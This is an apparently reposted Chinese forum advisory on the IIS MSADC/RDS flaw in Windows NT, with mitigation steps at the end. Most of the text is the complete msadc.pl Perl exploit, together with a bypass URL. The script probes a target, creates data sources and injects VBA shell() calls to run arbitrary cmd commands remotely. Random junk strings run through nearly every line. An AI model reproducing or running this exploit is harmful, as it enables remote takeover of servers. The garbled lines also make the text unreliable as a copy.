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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Im<(  
eR*y<K(d  
涉及程序: c$AwJhl^]  
Microsoft NT server VY]L<4BfGL  
4b<>gpQ  
描述: D5gDVulsh  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 'BmLR{[2L  
nQ}$jOU &  
详细: NU{`eM  
如果你没有时间读详细内容的话,就删除: MlmdfO%Y  
c:\Program Files\Common Files\System\Msadc\msadcs.dll A$;"9F@  
有关的安全问题就没有了。 LktH*ePO  
}<KQ +  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 %SJ2W>e  
KVA~|j B  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Y24H` s1u/  
关于利用ODBC远程漏洞的描述,请参看: D g~L"  
Ka|, qkb  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ro`2IE>  
w/UZ6fu  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 1Bhd-  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp #yi&-9B  
o b,%); m  
这里不再论述。 w_hN2eYo&e  
_oBJ'8R\  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: OD~B2MpM>  
9#iv|X  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset p81Vt   
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! .lE7v -e  
NPY\ >pf  
SoPiEq  
#将下面这段保存为txt文件,然后: "perl -x 文件名" wM aqR"%  
m.EIMuj  
#!perl ,UE>@;]  
# 6X`i*T$.  
# MSADC/RDS 'usage' (aka exploit) script r< ~pSj  
# 'En|-M5  
# by rain.forest.puppy Q-7C'|  
# (#?k|e"Y"`  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me f9FEH7S68  
# beta test and find errors! j$ h>CZZ  
}X?M6;$)  
use Socket; use Getopt::Std; |b^+= "  
getopts("e:vd:h:XR", \%args); 7ea<2va,  
W _JGJV.^f  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ) u Sg;B4  
TcEvUZJ"  
if (!defined $args{h} && !defined $args{R}) { 9qcA+gz:|  
print qq~ 14Y<-OO: k  
Usage: msadc.pl -h <host> { -d <delay> -X -v } %TUvH>;0  
-h <host> = host you want to scan (ip or domain) n4%ZR~9WH  
-d <seconds> = delay between calls, default 1 second l+HF+v$  
-X = dump Index Server path table, if available .,+TpP kc  
-v = verbose Y5,[udF:O  
-e = external dictionary file for step 5 Z(c3GmY  
^T&@(|o  
Or a -R will resume a command session {@YY8SKb9  
2/F";tc\'  
~; exit;} B3C%**~:e  
SR8)4:aKW  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; vnr{Ekg  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} F)n^pT  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} vmsrypm  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); lC8Z@wkjO  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} OAw- -rl  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } egXbe)ld  
d.3cd40Q  
if (!defined $args{R}){ $ret = &has_msadc; $s.:H4:I  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} "\`>Ll  
,$A'Y  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" !!:mjq<0  
. "cmd /c "; HzQ Y\Y6  
$in=<STDIN>; chomp $in; }N,$4h9Dj  
$command="cmd /c " . $in ; $~c wB  
<N'v-9=2jl  
if (defined $args{R}) {&load; exit;} CFTw=b@  
A}3dx!?7j  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; fPBJ%SZ  
&try_btcustmr;  ,7h0y  
-~] q?k?  
print "\nStep 2: Trying to make our own DSN..."; h ]6: `5-  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; %iR"eEE  
m- u0U  
print "\nStep 3: Trying known DSNs..."; +=MN_  
&known_dsn; J:Idt}@z  
Q5xQ5Le  
print "\nStep 4: Trying known .mdbs..."; E*AI}:or;  
&known_mdb; NpLZ ,|H  
'zhv#&O  
if (defined $args{e}){ Ygq;jX  
print "\nStep 5: Trying dictionary of DSN names..."; B&L-Lc2  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } =JNCQu  
9T#${NK  
print "Sorry Charley...maybe next time?\n"; U[EZ, 7n8  
exit; W+Q^u7K  
g^: & Dh  
############################################################################## l=PZlH y1G  
[nASMKK0  
sub sendraw { # ripped and modded from whisker 6^e}^~|  
sleep($delay); # it's a DoS on the server! At least on mine... J!\oH%FJp  
my ($pstr)=@_; x/dyb.  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || z_8lf_N  
die("Socket problems\n"); ^D8~s;?  
if(connect(S,pack "SnA4x8",2,80,$target)){ 5=_bK^Am  
select(S); $|=1; /b7]NC%  
print $pstr; my @in=<S>; cDIZkni=  
select(STDOUT); close(S); `?G&w.Vs  
return @in; )uu(I5St  
} else { die("Can't connect...\n"); }} t>! Ok  
H <9_BA?  
############################################################################## |=js!R|  
w ZfY~  
sub make_header { # make the HTTP request fSVb.MZa7  
my $msadc=<<EOT fE"-W{M  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Y'<wE2ZL)  
User-Agent: ACTIVEDATA =m;,?("7t3  
Host: $ip G=/^]E  
Content-Length: $clen ^r~O*  
Connection: Keep-Alive goe %'k,  
-}u1ZEND  
ADCClientVersion:01.06 (q@%eor&}  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 mw&'@M_(7  
h~lps?.#b  
--!ADM!ROX!YOUR!WORLD! 6UI6E)g  
Content-Type: application/x-varg n^|SN9 _r  
Content-Length: $reqlen y$+=>p|d.^  
 SQ&}18Z~  
EOT ,rV;T";r  
; $msadc=~s/\n/\r\n/g; OS-k_l L  
return $msadc;} nC(Lr,(  
(&SPMhs_|(  
############################################################################## dVg'v7G&V(  
zZ,"HY=jN  
sub make_req { # make the RDS request R^B8** N  
my ($switch, $p1, $p2)=@_; w75Ro6y  
my $req=""; my $t1, $t2, $query, $dsn; Id1de>:;  
>0_{80bdO  
if ($switch==1){ # this is the btcustmr.mdb query z\"9T?zoo  
$query="Select * from Customers where City=" . make_shell(); `A9fanh  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . n-g#nEc:  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} g&{CEfw&  
Zv2]X-  
elsif ($switch==2){ # this is general make table query AZf69z  
$query="create table AZZ (B int, C varchar(10))"; 2}XxRJ0   
$dsn="$p1";} T"t.t%(8  
Y9I|s{~  
elsif ($switch==3){ # this is general exploit table query EeH ghq  
$query="select * from AZZ where C=" . make_shell(); l$[,V:N  
$dsn="$p1";} 39MOqVc  
y|=KrvMHJ  
elsif ($switch==4){ # attempt to hork file info from index server m#ig.z|A  
$query="select path from scope()"; ~^'WHuz Py  
$dsn="Provider=MSIDXS;";} fda4M  
ayh235>a(  
elsif ($switch==5){ # bad query [+8*}03  
$query="select"; K:A:3~I!NW  
$dsn="$p1";} 1;PI%++  
f|ERZN`uB  
$t1= make_unicode($query); Nf)SR#;  
$t2= make_unicode($dsn); ej7L-~lxQ  
$req = "\x02\x00\x03\x00"; B`gH({U  
$req.= "\x08\x00" . pack ("S1", length($t1)); ZvLI~ul(zT  
$req.= "\x00\x00" . $t1 ; bc:3 5.  
$req.= "\x08\x00" . pack ("S1", length($t2)); {6%-/$LX  
$req.= "\x00\x00" . $t2 ; Q+/P>5O/  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 'MW O3  
return $req;} :Gzp (@<@e  
qu^~K.I"  
############################################################################## R](cko=  
[:}"MdU'  
sub make_shell { # this makes the shell() statement )TyP{X>  
return "'|shell(\"$command\")|'";} ]826kpq_  
!]5V{3  
############################################################################## g[HuIn/  
hd,O/-m#  
sub make_unicode { # quick little function to convert to unicode lIZ&' z  
my ($in)=@_; my $out; fdHFSnQ g  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ^w&!}f+  
return $out;} Z$r7Hi  
fW[RCd  
############################################################################## FUZuS!sJ  
gX$gUB) x  
sub rdo_success { # checks for RDO return success (this is kludge) ,b5vnW\  
my (@in) = @_; my $base=content_start(@in); gzy|K%K  
if($in[$base]=~/multipart\/mixed/){ O<$j}?2  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} %mD{rG9  
return 0;} /{P-WRz>  
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############################################################################## -1~o~yGE  
KfPgj  
sub make_dsn { # this makes a DSN for us i)Q d>(v  
my @drives=("c","d","e","f"); rQ6>*0xL_  
print "\nMaking DSN: "; FD~ U F;VQ  
foreach $drive (@drives) { 8H T3C\$s  
print "$drive: "; m8G/;V[x  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 3xmPY.  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" H<;~u:;8Q  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); .TDg`O24c,  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; :h/v"2uDN  
return 0 if $2 eq "404"; # not found/doesn't exist Z6Z/Y()4Tl  
if($2 eq "200") { 3OY(L`  
foreach $line (@results) { yq<W+b/  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} JoZzX{eu"  
} return 0;} g:!R't?  
vlipB}  
############################################################################## (d* | |"  
D~|q^Ms,%  
sub verify_exists { _^ic@h3'X~  
my ($page)=@_; E1`_[=8a9  
my @results=sendraw("GET $page HTTP/1.0\n\n"); !&`\MD>;~R  
return $results[0];} J, +/<Y!  
"`%UC#  
############################################################################## g!r) yzK  
DRTT3;,N  
sub try_btcustmr { %$Xt1ub6(  
my @drives=("c","d","e","f"); GU9p'E  
my @dirs=("winnt","winnt35","winnt351","win","windows"); V$oj6i{ky  
rusYNb1J  
foreach $dir (@dirs) { i70\`6*;B  
print "$dir -> "; # fun status so you can see progress fY #Yn  
foreach $drive (@drives) { ne3t|JZ  
print "$drive: "; # ditto hd[t&?{=  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Bn=YGEvz  
$reqlenlen=length( "$reqlen" ); }<w9Jfr"X  
$clen= 206 + $reqlenlen + $reqlen; Nez '1  
}w2Et  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 1,U)rx$H  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} G `B=:s]  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} V?`|Ha}  
u6IM~kk>5  
############################################################################## fA[T5<66  
Z:V<P,N  
sub odbc_error { (v:8p!QN  
my (@in)=@_; my $base; :S!!J*0  
my $base = content_start(@in); Goy[P2m  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this UlKg2p  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 'aEN(Mdz1e  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {0AlQ6.@>  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $(08!U  
return $in[$base+4].$in[$base+5].$in[$base+6];} 8YgRJQZ!  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; U!RIeC  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . =}u?1~V  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} TIaiJvo  
sb1tQ=u[  
############################################################################## 0AoWw-H6V  
wAzaxeV=  
sub verbose { &_j<! 3*  
my ($in)=@_; :O?3lj)  
return if !$verbose; X &G]ci  
print STDOUT "\n$in\n";} P=9UK`n  
-~H "zu`  
############################################################################## m6 Y0,9  
9i{(GO  
sub save { [D?d~pB  
my ($p1, $p2, $p3, $p4)=@_; osLEH?iKW  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; |<y1<O>F  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; HW'I$ .  
close OUT;} -yu$Mm  
fZJM'+J@A  
############################################################################## \8vZZt  
I?%#`Rvu  
sub load { Ys?0hd<cn  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; !ZCxi  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); U_E t  
@p=<IN>; close(IN); d>r]xXB6  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Eq=JmO'gHs  
$target= inet_aton($ip) || die("inet_aton problems"); p!<PRms@  
print "Resuming to $ip ..."; h7m$P^=U  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; |Vu`-L'Jz  
if($p[1]==1) { 9\kEyb$F=  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; L&]{GNw  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; O@:R\MwFOZ  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); CwyE  8v  
if (rdo_success(@results)){print "Success!\n";} - &)  
else { print "failed\n"; verbose(odbc_error(@results));}} ^?A>)?Sq  
elsif ($p[1]==3){ 4s"x}c">F  
if(run_query("$p[3]")){ \Il?$Kb/  
print "Success!\n";} else { print "failed\n"; }} ~4] J'E >  
elsif ($p[1]==4){ e<~bDFH  
if(run_query($drvst . "$p[3]")){ ld5+/"$  
print "Success!\n"; } else { print "failed\n"; }} X]\; f  
exit;} !2/o]_K@+  
}We-sZ/w7r  
############################################################################## vo~Qo;m  
)2u_c=  
sub create_table { a\B?J  
my ($in)=@_; ,.;{J|4P  
$reqlen=length( make_req(2,$in,"") ) - 28; 5*Dh#FRp  
$reqlenlen=length( "$reqlen" ); i.FdZN{  
$clen= 206 + $reqlenlen + $reqlen; y"K[#&,0  
my @results=sendraw(make_header() . make_req(2,$in,"")); @f,/K1k  
return 1 if rdo_success(@results); G1 I<B  
my $temp= odbc_error(@results); verbose($temp); e{^lD.E  
return 1 if $temp=~/Table 'AZZ' already exists/; zW[HGI6w  
return 0;} ?d k)2  
7$*x&We  
############################################################################## (tiE%nF+  
s>{\^T7y  
sub known_dsn { A+fXt`YNM  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go !?K#f?x<?  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", !|mzu1S  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", X'xnJtk  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); QVl"l'e8  
SI=7$8T5=5  
foreach $dSn (@dsns) { Ldy(<cN  
print "."; v[jg|s&6"  
next if (!is_access("DSN=$dSn")); 3wPUP+)c7  
if(create_table("DSN=$dSn")){ >3I|5kZ6  
print "$dSn successful\n"; ^t`0ul]c  
if(run_query("DSN=$dSn")){ 1>umf~%Wa  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [LV>z  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Su+[Q6oC@  
8LY^>.  
############################################################################## )d{fDwrx1  
[<jU$93E  
sub is_access { Yq{R*HO  
my ($in)=@_; V~$?]Z%_  
$reqlen=length( make_req(5,$in,"") ) - 28; UI~hB4V$]  
$reqlenlen=length( "$reqlen" ); FgR9$ is+  
$clen= 206 + $reqlenlen + $reqlen; FB3}M)G>M  
my @results=sendraw(make_header() . make_req(5,$in,"")); Q0g^%  
my $temp= odbc_error(@results); JC/nHM  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ih : XC  
return 0;} R\x3'([A5  
J M;WCV%NM  
############################################################################## *{O[}  
xgvwH?<  
sub run_query { U@53VmrOy  
my ($in)=@_; Sj v iH  
$reqlen=length( make_req(3,$in,"") ) - 28;  e `K{  
$reqlenlen=length( "$reqlen" ); +{%)}?F  
$clen= 206 + $reqlenlen + $reqlen; yMpZ-b$*~  
my @results=sendraw(make_header() . make_req(3,$in,"")); \86NV="U  
return 1 if rdo_success(@results); |:L}/onK  
my $temp= odbc_error(@results); verbose($temp); O]oH}#5b  
return 0;} N]F}Z#h  
EQ>@K-R  
############################################################################## +.-mqtM  
]UGk"s5A  
sub known_mdb { gIKQip<  
my @drives=("c","d","e","f","g"); 3MDs?qx>s  
my @dirs=("winnt","winnt35","winnt351","win","windows"); HI[Pf%${  
my $dir, $drive, $mdb; WfYG#!}x  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; N%)q.'M  
RP k'1nD  
# this is sparse, because I don't know of many B'bOK`p  
my @sysmdbs=( "\\catroot\\icatalog.mdb", '*<I<? z;  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", FJn.V1  
"\\system32\\certmdb.mdb", nW oh(a  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% O-3aU!L  
c IPOI'3d  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", a.a ,_  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ;R$2+9  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ! %N@>[  
"\\cfusion\\cfapps\\security\\realm_.mdb", VL|Z+3L  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", bKEiS8x  
"\\cfusion\\database\\cfexamples.mdb", 3`Xzp  
"\\cfusion\\database\\cfsnippets.mdb", dq0!.gBT2  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", +fQJ#?N2n  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", k:N/-P&+  
"\\cfusion\\brighttiger\\database\\cleam.mdb", yI / FD  
"\\cfusion\\database\\smpolicy.mdb", dk0} q6~  
"\\cfusion\\database\cypress.mdb", S F da?>  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 7;pQ'FmZJ  
"\\website\\cgi-win\\dbsample.mdb", ZX'3qW^D  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", `A-  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" vhDtjf/*  
); #these are just M(n@ytz  
foreach $drive (@drives) { MSB/O.  
foreach $dir (@dirs){ p =-~qBw  
foreach $mdb (@sysmdbs) { 5kojh _\  
print "."; wVX2.D'n<  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ }T}xVd0  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 2UxmKp[  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ #5iy^?N"w  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; =q*c}8R_0  
} else { print "Something's borked. Use verbose next time\n"; }}}}} yet ~  
yD@1H(yM  
foreach $drive (@drives) { 7`&6l+S|  
foreach $mdb (@mdbs) { JEF;Q  
print "."; x~K79Mya  
if(create_table($drv . $drive . $dir . $mdb)){ l hST%3Ld  
print "\n" . $drive . $dir . $mdb . " successful\n"; .hnq>R\  
if(run_query($drv . $drive . $dir . $mdb)){ 9_ZGb"(Lj  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; T1'\!6_5  
} else { print "Something's borked. Use verbose next time\n"; }}}} k$>5v +r0  
} RE1M4UV.  
L~RFI&b  
############################################################################## unKgOvtj  
k= &n>P  
sub hork_idx { u'T-}95 V  
print "\nAttempting to dump Index Server tables...\n"; l=x(   
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; d]MpE9@'v  
$reqlen=length( make_req(4,"","") ) - 28; OL_jU2,fv  
$reqlenlen=length( "$reqlen" ); fK2r6D9  
$clen= 206 + $reqlenlen + $reqlen; T6."j_  
my @results=sendraw2(make_header() . make_req(4,"","")); #T@k(Bz{L  
if (rdo_success(@results)){ 2\;/mQI2A  
my $max=@results; my $c; my %d; z;_vl  
for($c=19; $c<$max; $c++){ nzbAQ3v  
$results[$c]=~s/\x00//g; ZT8LMPC  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; T|0d2aa  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; f>|<5zm#<  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; _ {6l}  
$d{"$1$2"}="";} LF#[$ so{i  
foreach $c (keys %d){ print "$c\n"; } B#cN'1c  
} else {print "Index server doesn't seem to be installed.\n"; }} 1g jGaC  
%F^,6y  
##############################################################################  +cKOIMu9  
(/s~L*gF{  
sub dsn_dict { be$']}cP  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 9A/bA|$  
while(<IN>){ &I%E8E  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; *LuR o  
next if (!is_access("DSN=$dSn")); 4C ;y2`C  
if(create_table("DSN=$dSn")){ 9,JWi{lIv  
print "$dSn successful\n"; Et0)6^-v  
if(run_query("DSN=$dSn")){ yvnDS"0<  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $PAAmaigi  
print "Something's borked. Use verbose next time\n";}}} !Ce!D0Tx  
print "\n"; close(IN);} .2s^8gO  
UtQCTNjC{  
############################################################################## zx*D)i5-  
hljKBx ~  
sub sendraw2 { # ripped and modded from whisker _O ;4>  
sleep($delay); # it's a DoS on the server! At least on mine... CGkx_E]  
my ($pstr)=@_; B^/k`h6J  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || o\; hF3   
die("Socket problems\n"); U<E]c 4*  
if(connect(S,pack "SnA4x8",2,80,$target)){ d={o|Mf  
print "Connected. Getting data"; YBR)S_C$_  
open(OUT,">raw.out"); my @in; f1;@a>X  
select(S); $|=1; print $pstr; OiS\tK?|GV  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Rjv;[  
close(OUT); select(STDOUT); close(S); return @in; g-1j#V`5  
} else { die("Can't connect...\n"); }} c{KJNH%7  
[J(b"c6  
############################################################################## H8=:LF  
$R NHRA.  
sub content_start { # this will take in the server headers WtaOf_  
my (@in)=@_; my $c; E.+%b;Eqe  
for ($c=1;$c<500;$c++) { 9v?@2sOoE  
if($in[$c] =~/^\x0d\x0a/){ !2^~ar{2  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } WuFBt=%  
else { return $c+1; }}} W0Y ,3;0  
return -1;} # it should never get here actually 5jUy[w @  
D$*o}*mb  
############################################################################## w7&.U qjf  
WglpWp)  
sub funky { &%;n 9K  
my (@in)=@_; my $error=odbc_error(@in); o*ucw3s>  
if($error=~/ADO could not find the specified provider/){ iz{TSU  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; e9tb]sAG  
exit;} 1 ltW9^cF}  
if($error=~/A Handler is required/){ p>#q* eU5  
print "\nServer has custom handler filters (they most likely are patched)\n"; DEt!/a{X  
exit;} ByO?qft>u  
if($error=~/specified Handler has denied Access/){ d3S Me  
print "\nServer has custom handler filters (they most likely are patched)\n"; 3D1y^I  
exit;}} x5V))~Ou  
GZKYRPg  
############################################################################## Yyr9Kj:  
DdU w~n,  
sub has_msadc { V aG Qre  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); /&_q"y9  
my $base=content_start(@results); aM(#J7;  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); P=6d<no&<  
return 0;} &43c/T Sb  
)tnbl"0  
######################## &[_@f#  
V*5v JF0j  
/f Q}Ls\  
解决方案: &q9=0So4\  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ^y KkWB*  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 R! On  
Y:L[Iz95o  
拿出来充数 哈哈
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